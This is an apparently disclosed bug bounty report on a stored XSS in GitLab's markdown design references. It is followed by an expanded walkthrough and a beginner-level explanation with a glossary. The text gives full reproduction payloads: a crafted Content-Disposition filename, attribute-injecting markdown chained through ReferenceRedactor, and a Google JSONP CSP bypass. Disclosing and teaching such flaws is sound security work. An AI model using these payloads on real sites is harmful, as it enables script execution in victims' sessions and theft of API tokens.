Stored XSS in markdown via the DesignReferenceFilter
A design file could be uploaded with a double quote in its filename, which was not sanitised, allowing an attacker to break out of an HTML attribute when the design was referenced in markdown. This led to stored cross-site scripting (XSS) that could run arbitrary JavaScript in the context of other users, bypassing the Content Security Policy (CSP).
- Triaged in 4 days
- Fixed in 3 months
- Paid in 4 days
- Disclosed after 5 months
Summary
When rendering markdown, links to designs are parsed using the following link_reference_pattern:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/models/design_management/design.rb#L168
def self.link_reference_pattern
@link_reference_pattern ||= begin
path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
filename_pattern = %r{
(?<url_filename> #{valid_char}+ \. #{ext})
}x
super(path_segment, filename_pattern)
end
end
The url_filename match is then used in parse_symbol:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/design_reference_filter.rb#L75
def parse_symbol(raw, match_data)
filename = match_data[:url_filename]
iid = match_data[:issue].to_i
Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end
Since valid_char is anything apart from a forward slash or whitespace, this allows for any other special characters (such as quotes) to be matched.
The final url match gets used when creating the link in object_link_filter:
url =
if matches.names.include?("url") && matches[:url]
matches[:url]
else
url_for_object_cached(object, parent)
end
content = link_content || object_link_text(object, matches)
link = %(<a href="#{url}" #{data}
title="#{escape_once(title)}"
class="#{klass}">#{content}</a>)
So if a design could be uploaded with a double quote in it's filename, this would cause it to break out of the href attribute.
Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to skip the workhorse by using a Content-Disposition header such as Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png which allows for any character to be used as part of the design filename.
Since whitespaces and slashes are still invalid, it's only possible to inject tags without attributes, or inject attributed into the a element.
Injecting attributes can be chained with the ReferenceRedactor to replace the node with arbitrary html via the data-original attribute:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/reference_redactor.rb#L77
def redacted_node_content(node)
original_content = node.attr('data-original')
link_reference = node.attr('data-link-reference')
# Build the raw <a> tag just with a link as href and content if
# it's originally a link pattern. We shouldn't return a plain text href.
original_link =
if link_reference == 'true'
href = node.attr('href')
content = original_content
%(<a href="#{href}">#{content}</a>)
end
For a CSP bypass, the jsonp endpoint of the google api can be used in combination with setTimeout:
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout
Steps to reproduce
- Create a new project on gitlab.com
- Create a new issue
- Make sure burp or similar is running
- Upload a new design
- Edit the request and change the Content-Disposition header to
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png - Refresh the page, there should now be a design named
bbb"class="gfm"a='.png - Create a new issue using the design link and the inner html containing a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
- Looking at the markup you can see the
aattribute contains everything up to the inner html and then the attributevakzzhas also been injected:
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png" data-original="
' vakzz=here
" data-link="true" data-link-reference="true" data-project="26924211" data-design="226146" data-issue="87875440" data-reference-type="design" data-container="body" data-placement="top"
title="bbb"class="gfm"a='.png"
class="gfm gfm-design has-tooltip">
" vakzz="here"></a>
- Create a new issue using the design link, this time including the required data attributed to trigger the
ReferenceRedactorand the payload html encoded in thedata-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
<script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'></script>
"
</a>
- Save the issue and reload the page
Impact
Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.
Examples
POC: https://gitlab.com/vakzz-h1/design-xss/-/issues/3
What is the current bug behavior?
- The
AbstractReferenceFilteris generating thelinkusing string interpolation but theurlcould contain double quotes - The design model can have an arbitrary` attribute
What is the expected correct behavior?
- The url should be validated or escaped before being used
- The design model could probably have a validator for the filename
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Impact
Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.
Context
GitLab renders user-authored markdown in many places: issues, comments and more. Part of that rendering pipeline is Banzai, a set of filters that turn special references in markdown into links. One of those filters, DesignReferenceFilter, recognises links to designs attached to an issue and rewrites them into an <a> element pointing at the design.
The report targets gitlab.com and the design management feature. When a design is referenced in markdown, the filter extracts the filename from the link, builds a URL for the design and interpolates that URL into an anchor tag. The bug is that the filename, and therefore the URL, can contain characters that are not safe inside an HTML attribute.
Setup
The researcher worked against gitlab.com with a project of their own (vakzz-h1/design-xss) and an issue to hold the designs. A proxy such as Burp was needed to intercept and edit the design upload request. The code references in the report are from v13.12.1-ee.
Finding it
The starting point is the pattern used to recognise design links in markdown:
def self.link_reference_pattern
@link_reference_pattern ||= begin
path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
filename_pattern = %r{
(?<url_filename> #{valid_char}+ \. #{ext})
}x
super(path_segment, filename_pattern)
end
end
The url_filename match is then consumed in parse_symbol:
def parse_symbol(raw, match_data)
filename = match_data[:url_filename]
iid = match_data[:issue].to_i
Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end
Because valid_char is defined as anything that is not a forward slash or whitespace, every other special character, quotes included, is accepted in the filename. The matched URL is later used when the link is built in object_link_filter:
url =
if matches.names.include?("url") && matches[:url]
matches[:url]
else
url_for_object_cached(object, parent)
end
content = link_content || object_link_text(object, matches)
link = %(<a href="#{url}" #{data}
title="#{escape_once(title)}"
class="#{klass}">#{content}</a>)
The url is interpolated straight into a double-quoted href attribute. If a design could be uploaded with a double quote in its filename, the URL would break out of the href attribute.
Normally uploads pass through workhorse and are sanitised by CarrierWave::SanitizedFile. The researcher found that a design upload can skip workhorse by using a Content-Disposition header of the form Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png, which allows any character in the design filename.
Whitespace and slashes remain invalid, so the injection is limited: it is only possible to inject tags without attributes, or to inject attributes into the existing a element. Attribute injection can be chained with ReferenceRedactor, which replaces the node with arbitrary HTML taken from the data-original attribute:
def redacted_node_content(node)
original_content = node.attr('data-original')
link_reference = node.attr('data-link-reference')
# Build the raw <a> tag just with a link as href and content if
# it's originally a link pattern. We shouldn't return a plain text href.
original_link =
if link_reference == 'true'
href = node.attr('href')
content = original_content
%(<a href="#{href}">#{content}</a>)
end
For a CSP bypass, the report notes that the JSONP endpoint of the Google API can be combined with setTimeout:
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout
Exploitation
Step 1: Create the project and issue
Create a new project on gitlab.com and a new issue inside it. Make sure Burp or a similar proxy is running so the design upload can be intercepted.
Step 2: Upload a design with a crafted filename
Upload a new design, intercept the request and change the Content-Disposition header to:
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
The filename* form with the ASCII-8BIT'' prefix lets the upload skip workhorse and the sanitisation by CarrierWave::SanitizedFile. Decoded, the filename becomes bbb"class="gfm"a='.png, which contains a double quote, an equals sign and a single quote, all of which the design link pattern accepts.
Step 3: Confirm the design name
Refresh the page. A design named bbb"class="gfm"a='.png should now exist.
Step 4: Reference the design with a quote in the inner HTML
Create a new issue that links to the design and whose inner HTML contains a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
Looking at the resulting markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected:
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png" data-original="
' vakzz=here
" data-link="true" data-link-reference="true" data-project="26924211" data-design="226146" data-issue="87875440" data-reference-type="design" data-container="body" data-placement="top"
title="bbb"class="gfm"a='.png"
class="gfm gfm-design has-tooltip">
" vakzz="here"></a>
Looking at the markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected.
Step 5: Trigger ReferenceRedactor with an encoded payload
Create another issue using the design link, this time including the data attributes required to trigger ReferenceRedactor, with the payload HTML encoded in data-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
<script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'></script>
"
</a>
The data-design, data-issue and data-reference-type attributes satisfy the redactor's expectations, and data-original carries the HTML-encoded script tag. When the redactor rebuilds the node, it takes data-original as the content and places it inside the anchor, so the encoded script is emitted as live markup.
Step 6: Save and reload
Save the issue and reload the page. The script executes. The video shows the stored XSS firing:
The report notes that the JSONP endpoint of the Google API can be used in combination with setTimeout for a CSP bypass.
Root cause
Two mistakes combine. First, AbstractReferenceFilter builds the link with string interpolation, and the url can contain double quotes because the design filename pattern accepts any character except a slash or whitespace. Second, the design model can have an arbitrary attribute.
The upload path is the enabling condition: workhorse and CarrierWave::SanitizedFile would normally sanitise the filename, but the filename* form of Content-Disposition lets the upload skip that sanitisation. The ReferenceRedactor then turns the injected data-original attribute into arbitrary HTML, which is what upgrades attribute injection into script execution.
Impact
This is stored XSS with a CSP bypass, allowing arbitrary JavaScript to run anywhere markdown can be posted, including issues and comments. As the report describes, it could be used to create and exfiltrate API tokens with full access, following the technique in a separate report, targeting individuals or specific projects. The report states the bug happens on GitLab.com.
Fix
The report's expected behaviour is that the URL should be validated or escaped before being used, and that the design model could probably have a validator for the filename. The report does not describe which change was actually made.
Variants to test
- Other reference filters that interpolate a matched URL into an attribute. A positive result is a rendered anchor whose
hrefis closed early by a quote from the matched text. - Upload endpoints that accept the
filename*form ofContent-Disposition. A positive result is a stored filename containing characters that the normal sanitisation would remove. - Filters that rebuild nodes from
data-*attributes, such asReferenceRedactor. A positive result is HTML-encoded content in such an attribute being emitted as live markup. - CSP-protected pages that allow a JSONP-capable third-party script source. A positive result is a callback parameter executing attacker-controlled code through an allowed origin.
Hunting notes
This kind of bug hides where user-controlled names are matched by permissive regular expressions and then interpolated into HTML without escaping. The valid_char pattern here is the signal: a character class defined by exclusion rather than by an allowlist will admit quotes and angle brackets. Upload paths that can bypass workhorse, for example through the filename* form of Content-Disposition, are worth checking wherever filenames are later rendered. The researcher demonstrated impact by chaining attribute injection with ReferenceRedactor and a JSONP CSP bypass, which turned a limited attribute injection into script execution.
What happened, in plain words
GitLab is a website where teams keep their code and talk about it. One of the ways people talk is by typing text in a box, in a format called markdown. Markdown is a simple way of writing that lets you make bold text, lists and links without knowing HTML, the language web pages are built from. When you type a link to something on GitLab, GitLab is clever enough to turn it into a clickable link for you.
This report is about a feature called designs. A design is an image file you attach to an issue, which is a discussion thread in a project. You can then mention that design in your markdown, and GitLab turns the mention into a link to the image.
The researcher found that the name of the uploaded image file was trusted too much. If the file name contained a double quote character, that quote ended up inside the HTML that GitLab generated for the link, and it broke the link apart. The leftover text was then read by the browser as extra instructions. With a bit of chaining, those extra instructions became a script that runs in the browser of anyone who views the page. That is called stored cross-site scripting, or stored XSS: stored because the malicious content is saved on the server and shown to every visitor, and cross-site scripting because it lets an attacker run their own code inside someone else's website session.
The report rates this as critical, with a CVSS score of 9.6. CVSS is a standard scoring system for how serious a security flaw is, from 0 to 10. The researcher was paid a bounty of 16,000 USD, and the report was disclosed publicly on 18 October 2021.
Context
GitLab renders user-authored markdown in many places: issues, comments and more. Rendering means turning the text you typed into the finished web page you see. Part of that rendering pipeline is Banzai, a set of filters that turn special references in markdown into links. A filter here is a small piece of code that looks at the text and rewrites parts of it. One of those filters, DesignReferenceFilter, recognises links to designs attached to an issue and rewrites them into an <a> element pointing at the design. An <a> element is the HTML tag for a hyperlink; the address it points to sits in its href attribute.
The report targets gitlab.com and the design management feature. When a design is referenced in markdown, the filter extracts the filename from the link, builds a URL for the design and interpolates that URL into an anchor tag. Interpolating means gluing a value into a piece of text, here into the HTML template. The bug is that the filename, and therefore the URL, can contain characters that are not safe inside an HTML attribute. An HTML attribute is a setting written inside a tag, like href="..."; the browser knows where the value ends because of the quote marks around it. If the value itself contains a quote mark, the browser can be fooled into thinking the value ended early.
Setup
The researcher worked against gitlab.com with a project of their own (vakzz-h1/design-xss) and an issue to hold the designs. A proxy such as Burp was needed to intercept and edit the design upload request. A proxy is a program that sits between your browser and the website, so you can look at and change the messages going back and forth. The code references in the report are from v13.12.1-ee, a version of GitLab's source code.
Finding it
The starting point is the pattern used to recognise design links in markdown. A pattern here is a regular expression, a way of describing what text looks like so a program can find it. This one describes what a design link looks like:
def self.link_reference_pattern
@link_reference_pattern ||= begin
path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}
ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)
valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace
filename_pattern = %r{
(?<url_filename> #{valid_char}+ \. #{ext})
}x
super(path_segment, filename_pattern)
end
end
Line by line:
def self.link_reference_patternstarts the definition of a method, a named block of code, that builds the pattern once and remembers it.path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}describes the part of the link that points at the designs of an issue. The#{...}part inserts another pattern for the issue number.ext = Regexp.new(...)builds a pattern for the allowed image file extensions, such as.png, ignoring upper or lower case.valid_char = %r{[^/\s]}is the important line. It says a valid character is anything that is not a forward slash and not whitespace. The comment in the code says exactly that. This is a blocklist: it lists what is forbidden and allows everything else.filename_pattern = %r{...}describes the file name: one or more valid characters, then a dot, then an allowed extension. The(?<url_filename> ...)part gives that piece of text a name,url_filename, so later code can pick it out.super(path_segment, filename_pattern)hands the two pieces to the shared parent code that does the actual matching.
The url_filename match is then consumed in parse_symbol:
def parse_symbol(raw, match_data)
filename = match_data[:url_filename]
iid = match_data[:issue].to_i
Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)
end
Line by line:
def parse_symbol(raw, match_data)defines a method that receives the raw text and the result of the pattern match.filename = match_data[:url_filename]pulls out the file name that the pattern captured.iid = match_data[:issue].to_ipulls out the issue number and turns it into a whole number withto_i.Identifier.new(...)creates a small object holding the file name and the issue number.CGI.unescapeturns percent-encoded text, like%22, back into the real character, here a double quote.
Because valid_char is defined as anything that is not a forward slash or whitespace, every other special character, quotes included, is accepted in the filename. The matched URL is later used when the link is built in object_link_filter:
url =
if matches.names.include?("url") && matches[:url]
matches[:url]
else
url_for_object_cached(object, parent)
end
content = link_content || object_link_text(object, matches)
link = %(<a href="#{url}" #{data}
title="#{escape_once(title)}"
class="#{klass}">#{content}</a>)
Line by line:
- The
ifblock decides which address to use: the one found in the text if there is one, otherwise one built from the object being referenced. content = link_content || object_link_text(...)decides what the link should say, the clickable text.- The last statement builds the HTML.
%(...)is Ruby's way of writing a string. Notice that#{url}is dropped straight intohref="..."with no escaping, whiletitleis passed throughescape_once, which makes dangerous characters safe. The address is the one value that is not made safe.
The url is interpolated straight into a double-quoted href attribute. If a design could be uploaded with a double quote in its filename, the URL would break out of the href attribute. Breaking out means the quote in the value ends the attribute early, and whatever follows is read by the browser as new HTML rather than as part of the address.
Normally uploads pass through workhorse and are sanitised by CarrierWave::SanitizedFile. Workhorse is a helper program GitLab uses to handle large file uploads efficiently, and sanitising means cleaning a file name of characters that could cause trouble. The researcher found that a design upload can skip workhorse by using a Content-Disposition header of the form Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png, which allows any character in the design filename. A header is a line of extra information sent along with a web request. Content-Disposition is the header that tells the server this part of the upload is a file and what it is called. The filename* form is a standard way of writing a file name with special encoding, and it lets the upload skip the cleaning step.
Whitespace and slashes remain invalid, so the injection is limited: it is only possible to inject tags without attributes, or to inject attributes into the existing a element. Attribute injection means adding your own settings to a tag that the site generated. Attribute injection can be chained with ReferenceRedactor, which replaces the node with arbitrary HTML taken from the data-original attribute. A node here is one element in the page's internal tree of tags. The redactor is a filter that rewrites reference links, and it reads the data-original attribute as the content to put back:
def redacted_node_content(node)
original_content = node.attr('data-original')
link_reference = node.attr('data-link-reference')
# Build the raw <a> tag just with a link as href and content if
# it's originally a link pattern. We shouldn't return a plain text href.
original_link =
if link_reference == 'true'
href = node.attr('href')
content = original_content
%(<a href="#{href}">#{content}</a>)
end
Line by line:
original_content = node.attr('data-original')reads the value of thedata-originalattribute from the element.link_reference = node.attr('data-link-reference')reads whether this element was originally a link.- If it was, the code takes the
hrefand thedata-originalcontent and builds a fresh<a>tag with that content placed inside it, unescaped.
That last point is the key: content that was safely encoded in an attribute is moved into the body of the tag, where the browser treats it as live HTML.
For a CSP bypass, the report notes that the JSONP endpoint of the Google API can be combined with setTimeout. CSP stands for Content Security Policy, a rule set a website sends to the browser saying which scripts are allowed to run; it is a defence that stops many XSS attacks. JSONP is an old trick for loading data from another site as if it were a script. The endpoint below takes a callback parameter and wraps its answer in a call to that function name:
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout
Here the callback is setTimeout, a built-in browser function that runs code after a delay. The q parameter contains alert(document.domain), and the // comments out the rest. Because the script comes from apis.google.com, an origin the policy allows, the browser loads it, and the code inside runs.
Exploitation
Step 1: Create the project and issue
Create a new project on gitlab.com and a new issue inside it. Make sure Burp or a similar proxy is running so the design upload can be intercepted.
Step 2: Upload a design with a crafted filename
Upload a new design, intercept the request and change the Content-Disposition header to:
Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
Line by line:
form-datasays this request is a form submission carrying a file.name="1"is the name of the form field, which the site uses to know which upload slot this is.filename*=ASCII-8BIT''...is the encoded form of the file name. TheASCII-8BIT''prefix declares the character encoding, and the rest is percent-encoded.%22decodes to a double quote,%3Dto an equals sign and%27to a single quote.
The filename* form with the ASCII-8BIT'' prefix lets the upload skip workhorse and the sanitisation by CarrierWave::SanitizedFile. Decoded, the filename becomes bbb"class="gfm"a='.png, which contains a double quote, an equals sign and a single quote, all of which the design link pattern accepts.
Step 3: Confirm the design name
Refresh the page. A design named bbb"class="gfm"a='.png should now exist. This confirms the server stored the name with the dangerous characters intact, rather than cleaning it.
Step 4: Reference the design with a quote in the inner HTML
Create a new issue that links to the design and whose inner HTML contains a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' vakzz=here
</a>
Line by line:
- The first line is a link to the design, written with single quotes around the address. The address contains the percent-encoded file name from step 2.
- The second line is the text that will appear inside the link. It starts with a single quote, then
vakzz=here. - The third line closes the link.
Looking at the resulting markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected:
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png" data-original="
' vakzz=here
" data-link="true" data-link-reference="true" data-project="26924211" data-design="226146" data-issue="87875440" data-reference-type="design" data-container="body" data-placement="top"
title="bbb"class="gfm"a='.png"
class="gfm gfm-design has-tooltip">
" vakzz="here"></a>
Line by line:
href=".../designs/bbb"is the address, cut short at the double quote that came from the file name.class="gfm" a=".png"shows the rest of the file name being read as new attributes."is the HTML encoding of a double quote.data-original="starts the attribute that the redactor will later read.' vakzz=hereis the text from the issue, and the single quote at its start closes thedata-originalvalue." vakzz="here"showsvakzzlanding as yet another attribute on the tag.
Looking at the markup, the a attribute contains everything up to the inner HTML, and the attribute vakzz has also been injected. This step proves the breakout works and that you can add your own attributes to the generated link.
Step 5: Trigger ReferenceRedactor with an encoded payload
Create another issue using the design link, this time including the data attributes required to trigger ReferenceRedactor, with the payload HTML encoded in data-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>
' data-design="1" data-issue="1" data-reference-type="design" data-original="
<script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'></script>
"
</a>
Line by line:
- The first line is the same design link as before.
- The second line starts with the single quote that closes the
data-originalvalue, then addsdata-design,data-issueanddata-reference-typeattributes. These tell the redactor that this element is a design reference it should process. data-original="opens the attribute that holds the content to restore.<script ...></script>is a script tag written with encoded angle brackets.<and>are the HTML encodings of<and>, so the browser does not treat it as a tag while it sits inside the attribute.- The script's
srcis the Google JSONP address from earlier. - The final
"closes the attribute, and the last line closes the link.
The data-design, data-issue and data-reference-type attributes satisfy the redactor's expectations, and data-original carries the HTML-encoded script tag. When the redactor rebuilds the node, it takes data-original as the content and places it inside the anchor, so the encoded script is emitted as live markup. In other words, the encoded text is decoded by the browser at the moment it becomes part of the page, and the script tag becomes real.
Step 6: Save and reload
Save the issue and reload the page. The script executes. The video shows the stored XSS firing:
The report notes that the JSONP endpoint of the Google API can be used in combination with setTimeout for a CSP bypass. document.domain is the address of the page the code is running on, so the alert box proves the code is running in the context of gitlab.com.
Root cause
Two mistakes combine. First, AbstractReferenceFilter builds the link with string interpolation, and the url can contain double quotes because the design filename pattern accepts any character except a slash or whitespace. Second, the design model can have an arbitrary attribute. A model here is the code that represents a stored record, in this case a design.
The upload path is the enabling condition: workhorse and CarrierWave::SanitizedFile would normally sanitise the filename, but the filename* form of Content-Disposition lets the upload skip that sanitisation. The ReferenceRedactor then turns the injected data-original attribute into arbitrary HTML, which is what upgrades attribute injection into script execution.
Impact
This is stored XSS with a CSP bypass, allowing arbitrary JavaScript to run anywhere markdown can be posted, including issues and comments. JavaScript is the programming language browsers run, so running arbitrary JavaScript in someone's session means acting as that person on the site. As the report describes, it could be used to create and exfiltrate API tokens with full access, following the technique in a separate report, targeting individuals or specific projects. An API token is a secret string that lets a program act on your behalf without your password, so stealing one is like stealing a key. Exfiltrate means to send stolen data out to the attacker. The report states the bug happens on GitLab.com.
Fix
The report's expected behaviour is that the URL should be validated or escaped before being used, and that the design model could probably have a validator for the filename. Validating means checking a value against rules and rejecting bad ones; escaping means converting dangerous characters into harmless encoded forms. The report does not describe which change was actually made.
Variants to test
- Other reference filters that interpolate a matched URL into an attribute. A positive result is a rendered anchor whose
hrefis closed early by a quote from the matched text. - Upload endpoints that accept the
filename*form ofContent-Disposition. A positive result is a stored filename containing characters that the normal sanitisation would remove. - Filters that rebuild nodes from
data-*attributes, such asReferenceRedactor. A positive result is HTML-encoded content in such an attribute being emitted as live markup. - CSP-protected pages that allow a JSONP-capable third-party script source. A positive result is a callback parameter executing attacker-controlled code through an allowed origin.
Hunting notes
This kind of bug hides where user-controlled names are matched by permissive regular expressions and then interpolated into HTML without escaping. The valid_char pattern here is the signal: a character class defined by exclusion rather than by an allowlist will admit quotes and angle brackets. An allowlist says exactly what is permitted; a blocklist says what is forbidden and lets everything else through, which is easy to get wrong. Upload paths that can bypass workhorse, for example through the filename* form of Content-Disposition, are worth checking wherever filenames are later rendered. The researcher demonstrated impact by chaining attribute injection with ReferenceRedactor and a JSONP CSP bypass, which turned a limited attribute injection into script execution.
Glossary
- Markdown: a simple text format for writing formatted documents, which GitLab converts into web pages.
- HTML: the language web pages are written in, made of tags such as
<a>for links. - Tag: a piece of HTML such as
<a>or<script>that tells the browser what to display or run. - Attribute: a setting inside a tag, such as
href="...", usually wrapped in quotes. - Element / node: one tag and its content, as the browser sees it in the page structure.
- Anchor (
<a>): the HTML tag for a hyperlink. href: the attribute of a link that holds its address.- URL: the address of something on the web.
- Filter: a small piece of code that rewrites part of the text being rendered.
- Banzai: GitLab's set of filters that render markdown.
- Regular expression (pattern): a way of describing text so a program can find or check it.
- Character class: the part of a regular expression that says which characters are allowed.
- Allowlist: a list of things that are permitted, with everything else rejected.
- Blocklist: a list of things that are forbidden, with everything else allowed.
- Interpolation: gluing a value into a piece of text or template.
- Escaping: converting dangerous characters into harmless encoded forms so they cannot break out of their context.
- Percent-encoding: writing a character as
%plus a code, such as%22for a double quote. Content-Disposition: the header that tells a server a request part is a file and what it is called.- Header: a line of extra information sent with a web request or response.
- Workhorse: a GitLab helper program that handles file uploads.
- Sanitising: cleaning a value, such as a file name, of characters that could cause trouble.
- Proxy (Burp): a program between your browser and a website that lets you inspect and change the traffic.
- Design: an image file attached to an issue in GitLab.
- Issue: a discussion thread in a GitLab project.
- Project: a workspace in GitLab holding code and issues.
- Model: the code that represents a stored record, such as a design.
- XSS (cross-site scripting): a flaw that lets an attacker run their own code in another user's browser session on a website.
- Stored XSS: XSS where the malicious content is saved on the server and shown to every visitor.
- Attribute injection: adding your own attributes to a tag the site generated.
ReferenceRedactor: a GitLab filter that rebuilds reference links from theirdata-*attributes.- CSP (Content Security Policy): rules a site sends to the browser saying which scripts may run.
- CSP bypass: getting code to run despite those rules, often by using an allowed third-party source.
- JSONP: an old technique for loading data from another site as if it were a script, using a callback parameter.
- Callback: the function name a JSONP endpoint wraps its answer in.
setTimeout: a built-in browser function that runs code after a delay.document.domain: the address of the page the code is running on.- API: a way for programs to talk to a service and ask it to do things.
- API token: a secret string that lets a program act on your behalf without your password.
- Exfiltrate: to send stolen data out to an attacker.
- CVSS: a standard 0 to 10 score for how serious a security flaw is.
- Bounty: money paid to a researcher for reporting a security flaw.
- Disclosure: making a security report public.